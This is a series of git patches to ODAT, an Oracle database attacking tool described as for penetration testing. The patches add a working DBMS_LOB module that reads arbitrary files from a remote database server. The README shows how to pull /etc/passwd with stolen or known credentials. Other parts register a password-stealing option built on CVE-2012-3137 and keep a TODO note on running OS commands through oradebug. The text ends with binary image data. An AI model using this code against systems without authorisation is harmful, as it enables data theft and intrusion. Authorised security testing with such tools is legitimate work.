"oradbg commands" PPoradbg.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system (no args allowed)') PPoradbg.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.12- Parent parser: DBMS_LOB + PPdbmsLob = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsLob._optionals.title = "DBMS_LOB commands (new)" + PPdbmsLob.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='get a file from the remote database server') + PPdbmsLob.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.17- Parent parser: usernamelikepassword PPusernamelikepassword = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPusernamelikepassword._optionals.title = "usernamelikepassword commands" @@ -346,6 +355,9 @@ def main(): #2.n- Oradbg parser_oradbg = subparsers.add_parser('oradbg',parents=[PPoptional,PPconnection,PPoradbg,PPoutput],help='to execute a bin or script') parser_oradbg.set_defaults(func=runOradbgModule,auditType='oradbg') + #2.o- DBMS_LOB + parser_dbmslob = subparsers.add_parser('dbmslob',parents=[PPoptional,PPconnection,PPdbmsLob,PPoutput],help='to download files') + parser_dbmslob.set_defaults(func=runDbmsLob,auditType='dbmslob') #2.o- steal Passwords (CVE-2012-313) parser_passwords = subparsers.add_parser('stealremotepwds',parents=[PPoptional,PPstealRemotePass,PPoutput],help='to steal hashed passwords thanks an authentication sniffing (CVE-2012-313)') parser_passwords.set_defaults(func=runCVE20123137Module,auditType='passwords') From d966bb16ceaa55edf8fc8a9acb951f9d454d8128 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 21:07:54 +0200 Subject: [PATCH 17/83] New module: DBMS_LOB in order to download files --- DbmsLob.py | 176 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 176 insertions(+) create mode 100644 DbmsLob.py diff --git a/DbmsLob.py b/DbmsLob.py new file mode 100644 index 0000000..e95ced4 --- /dev/null +++ b/DbmsLob.py @@ -0,0 +1,176 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging,cx_Oracle +#from OracleDatabase import OracleDatabase +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class DbmsLob (DirectoryManagement): + ''' + Allow the user to read file thanks to DBMS_LOB + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmsLob object created") + DirectoryManagement.__init__(self,args) + self.__setDirectoryName__() + + def getFile (self,remotePath, remoteNameFile, localFile): + ''' + Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) + ''' + data = "" + logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) + #Get data of the remote file + DBMS_LOB_GET_FILE =""" + DECLARE + bu RAW(32766); + -- Separator Character between words is a BLANK + l_seb CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(32)); + -- Character at the end of the file is NEWLINE + l_sen CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(10)); + -- Pointer to the BFILE + l_loc BFILE; + -- Current position in the file (file begins at position 1) + l_pos NUMBER := 1; + -- Amount of characters have been read + l_sum BINARY_INTEGER := 0; + -- Read Buffer + l_buf VARCHAR2(10000); + -- End of the current word which will be read + l_end NUMBER; + -- Return value + l_ret BOOLEAN := FALSE; + BEGIN + l_loc := BFILENAME('{0}','{1}'); + DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY); + LOOP + -- Calculate the end of the current word + l_end := DBMS_LOB.INSTR(l_loc,l_seb,l_pos,1); + -- Process end-of-file + IF (l_end = 0) THEN + l_end := DBMS_LOB.INSTR(l_loc,l_sen,l_pos,1); + l_sum := l_end - l_pos ; + DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); + dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); + EXIT; + END IF; + -- Read until end-of-file + l_sum := l_end - l_pos; + DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); + dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); + l_pos := l_pos + l_sum + 1; + END LOOP; + DBMS_LOB.CLOSE(l_loc); + END; + """ + isFileExist= self.getFileExist (remotePath, remoteNameFile) + if isFileExist == True : + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + cursor = cx_Oracle.Cursor(self.args['dbcon']) + cursor.callproc("dbms_output.enable") + try: + cursor.execute(DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_GET_FILE, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: break + line = lineVar.getvalue() + if line == None : line = '' + data += line + logging.info(line) + cursor.close() + elif isFileExist == False : data = False + else : data = False + self.__dropDirectory__() + return data + + def getFileExist (self, remotePath, remoteNameFile): + ''' + Return true if file exists + ''' + exist, returnedValue = False, False + logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + DBMS_LOB_FILE_EXISTS = "DECLARE l_loc BFILE; l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); l_ret := DBMS_LOB.FILEEXISTS(l_loc) = 1; IF (l_ret) THEN dbms_output.put_line('True'); ELSE dbms_output.put_line('False'); END IF;END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(DBMS_LOB_FILE_EXISTS.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_FILE_EXISTS, self.cleanError(e))) + returnedValue = ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: returnedValue = False + line = lineVar.getvalue() + if line == None : + line = '' + if "True" in line : + logging.debug("The file exist: good news") + returnedValue = True + elif "False" in line : + logging.debug("The file doesn't exist") + returnedValue = False + else : + logging.warning("Can't know if the file exist. There is an error: {0}".format(line)) + returnedValue = ErrorSQLRequest(line) + cursor.close() + except Exception, e: + returnedValue = ErrorSQLRequest(e) + self.__dropDirectory__() + return returnedValue + + def testAll(self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("DBMS_LOB to read files ?") + logging.info("Simulate the file reading in the {0} folder thanks to DBMS_LOB".format(folder)) + status = self.getFile (remotePath=folder, remoteNameFile='data.txt', localFile="test.txt") + if status == True or status == False: + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runDbmsLob (args): + ''' + Run the DbmsLob module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT + dbmsLob = DbmsLob(args) + status = dbmsLob.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DbmsLob module can be used") + status = dbmsLob.testAll() + #Option 1: getFile + if args['getFile'] != None: + args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0])) + data = dbmsLob.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2]) + if isinstance(data,Exception): + args['print'].badNews("There is an error: {0}".format(data)) + elif data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0])) + elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile'])) + else : + args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) + + + From 6501f0b6fa31edaa5543f8a31719f5e77b587631 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 21:10:03 +0200 Subject: [PATCH 18/83] Version 1.0 to 1.1 in the odat help --- Constants.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Constants.py b/Constants.py index 80f3391..f66a876 100644 --- a/Constants.py +++ b/Constants.py @@ -15,7 +15,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.0 - 2014/06/26" +CURRENT_VERSION = "Version 1.1 - 2014/07/28" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" From 820760ee6b86528a3a0999c837fce6c2d3bdcf87 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 21:11:48 +0200 Subject: [PATCH 19/83] Delete DBMS_LOB from the TODO --- TODO.txt | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) diff --git a/TODO.txt b/TODO.txt index 865ffb1..71773b9 100644 --- a/TODO.txt +++ b/TODO.txt @@ -4,21 +4,11 @@ ----------- HIGH ----------- -1- Read files with DBMS_LOB - DECLARE - buf varchar2(4096); - BEGIN - Lob_loc:= BFILENAME(‘MEDIA_DIR’, ‘rds.txt’); - DBMS_LOB.OPEN (Lob_loc, DBMS_LOB.LOB_READONLY); - DBMS_LOB.READ (Lob_loc, 1000, 1, buf); - dbms_output.put_line(utl_raw.cast_to_varchar2(buf)); - DBMS_LOB.CLOSE (Lob_loc); - END; -2- Executing Code as SYSDBA: "oradebug setmypid", oradebug call system “/bin/touch -f /home/oracle/rds.txt”Function returned 0 +1- Executing Code as SYSDBA: "oradebug setmypid", oradebug call system “/bin/touch -f /home/oracle/rds.txt”Function returned 0 http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ http://www.petefinnigan.com/weblog/archives/00001353.htm -3- Remonter un le SID "BLABLA" lorsque l'alias est sous la forme '.H......"..<(DESCRIPTION=(TMP=)(VSNNUM=0)(ERR=0)(ALIAS=listener_BLABLA))' -4- get the remote version database thanks to the banner. Tnsping can be used +2- Remonter un le SID "BLABLA" lorsque l'alias est sous la forme '.H......"..<(DESCRIPTION=(TMP=)(VSNNUM=0)(ERR=0)(ALIAS=listener_BLABLA))' +3- get the remote version database thanks to the banner. Tnsping can be used ----------- MEDIUM ----------- From c46405248a64593fa79b4d9c4c452b02eb79d273 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 21:26:36 +0200 Subject: [PATCH 20/83] Add information about DBMS_LOB in the README --- README.md | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 2b0c780..9d0f3ae 100644 --- a/README.md +++ b/README.md @@ -8,14 +8,14 @@ Usage examples of ODAT: * You have a valid Oracle account on a database and want to __escalate your privileges__ (ex: SYSDBA) * You have a valid Oracle account and want to __execute commands on the operating system__ hosting this DB (ex: reverse shell) -Current version: 1.0 -==== - -Version __1.0__ (2014/06/26) Tested on Oracle Database __10g__ and __11g__. -No tested on 9g or 12c yet. +Changelog +==== + +* Version __1.1__ (2014/07/28) : add the *DBMS_LOB* module useful in order to download files stored on a remote server through Oracle Database. +* Version __1.0__ (2014/06/26) : first ODAT version. Features ==== @@ -38,6 +38,7 @@ Thanks to ODAT, you can: * UTL_FILE * external tables * CTXSYS + * DBMS_LOB (NEW : 2014/07/28) * __upload files__ on the database server using: * UTL_FILE * DBMS_XSLPROCESSOR @@ -435,6 +436,16 @@ This module has been created in order to get hashed password quicly and to picku * To get hashed passwords from the users table: ```bash ./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords +``` + + *dbmslob* module (NEW : 2014/07/28) +--- + +This module uses the DBMS_LOB Oracle library to download files remotely. + +* To download the passwd file stored in */etc/* to the tmp.txt local file: +```bash +./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt ``` *stealRemotePwds* module From 50e5dc1891bd8a22b1c8112cc6d13b40b5d30658 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 21:34:17 +0200 Subject: [PATCH 21/83] x86_64 binary with the DBMS_LOB module (version 1.1) --- odat-libc2.19-x86_64.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/odat-libc2.19-x86_64.spec b/odat-libc2.19-x86_64.spec index a887bb2..8b0c932 100644 --- a/odat-libc2.19-x86_64.spec +++ b/odat-libc2.19-x86_64.spec @@ -1,6 +1,6 @@ # -*- mode: python -*- a = Analysis(['odat.py'], - pathex=['/home/bobsecurity/repo-pentest-brutus/ODSCCT/odat'], + pathex=['/home/bobsecurity/odat'], hiddenimports=[], hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], runtime_hooks=None) From 6a592c2fcdfa6a55d7dc847b9c9095efadc4f2c3 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 22:00:18 +0200 Subject: [PATCH 22/83] update CHANGELOG --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9d0f3ae..a083abd 100644 --- a/README.md +++ b/README.md @@ -14,8 +14,11 @@ Tested on Oracle Database __10g__ and __11g__. Changelog ==== -* Version __1.1__ (2014/07/28) : add the *DBMS_LOB* module useful in order to download files stored on a remote server through Oracle Database. -* Version __1.0__ (2014/06/26) : first ODAT version. +* Version __1.1__ (__2014/07/28__) : + * add the *DBMS_LOB* module useful in order to download files stored on a remote server through Oracle Database. + * bug fix: java source code: "getenv no longer supported, use properties and -D instead" +* Version __1.0__ (__2014/06/26__) : + * first ODAT version. Features ==== From 79713b0031fca5fa0531a31a9f61fad277d7ac69 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 22:08:40 +0200 Subject: [PATCH 23/83] x86 binary with the DBMS_LOB module (version 1.1) From 29a0e1b4bf9bfced9389cc98d270ed00891fb833 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Fri, 1 Aug 2014 14:02:42 +0200 Subject: [PATCH 24/83] Version 1.1 of the ODAT features schema --- README.md | 4 ++-- pictures/ODAT_main_features_v1.0.jpg | Bin 196482 -> 0 bytes pictures/ODAT_main_features_v1.1.jpg | Bin 0 -> 190360 bytes 3 files changed, 2 insertions(+), 2 deletions(-) delete mode 100644 pictures/ODAT_main_features_v1.0.jpg create mode 100644 pictures/ODAT_main_features_v1.1.jpg diff --git a/README.md b/README.md index 2b0c780..bdc1f2b 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ ODAT ==== -__ODAT__ (Oracle Database Attacking Tool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. +__ODAT__ (Oracle Database Attacking Tool) is an open source __penetration testing__ tool that tests the security of __Oracle Databases remotely__. Usage examples of ODAT: * You have an Oracle database listening remotely and want to find valid __SIDs__ and __credentials__ in order to connect to the database @@ -55,7 +55,7 @@ Thanks to ODAT, you can: * pickup the session key and salt for arbitrary users * attack by dictionary on sessions -![Alt text](./pictures/ODAT_main_features_v1.0.jpg) +![Alt text](./pictures/ODAT_main_features_v1.1.jpg) Supported Platforms and dependencies ==== diff --git a/pictures/ODAT_main_features_v1.0.jpg b/pictures/ODAT_main_features_v1.0.jpg deleted file mode 100644 index 17ee1cb3703ec51a03c7e28c9c2967024e41e175..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 196482 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 